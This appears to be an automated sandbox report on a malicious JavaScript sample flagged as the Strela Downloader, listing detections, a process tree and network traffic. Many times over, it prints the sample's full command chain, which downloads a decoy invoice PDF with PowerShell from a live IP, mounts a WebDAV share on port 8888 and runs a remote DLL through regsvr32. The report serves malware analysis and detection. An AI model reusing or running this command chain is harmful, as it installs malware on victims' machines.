Edit tour

Windows Analysis Report
18607323151113325657.js

Overview

General Information

Sample name:	18607323151113325657.js
Analysis ID:	1587545
MD5:	9af63609a8880f96ae44d1096a2a4475
SHA1:	b2da85791346bb2b944d006e65dd95c36fdc655e
SHA256:	7fe29db5b52cc5c73eeba15a5dbad60982c3a1fe07eee91ddf177593248935b9
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6156 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6848 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5396 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5656 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5412 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7248 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1616,i,321981373026701256,205856416554201649,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6720 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6516 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1988 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6156	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6848, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5396, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6848, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5396, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js", ProcessId: 6156, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6516, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6156, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ProcessId: 6848, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6156, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ProcessId: 6848, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6156, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ProcessId: 6848, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6156, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ProcessId: 6848, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6156, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ProcessId: 6848, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js", ProcessId: 6156, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6848, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5396, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6720, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6516, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1988, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6720, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6516, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6156, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll, ProcessId: 6848, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:42:07.439050+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T14:42:04.555795+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 18607323151113325657.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 18607323151113325657.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:42:04 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:50083 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

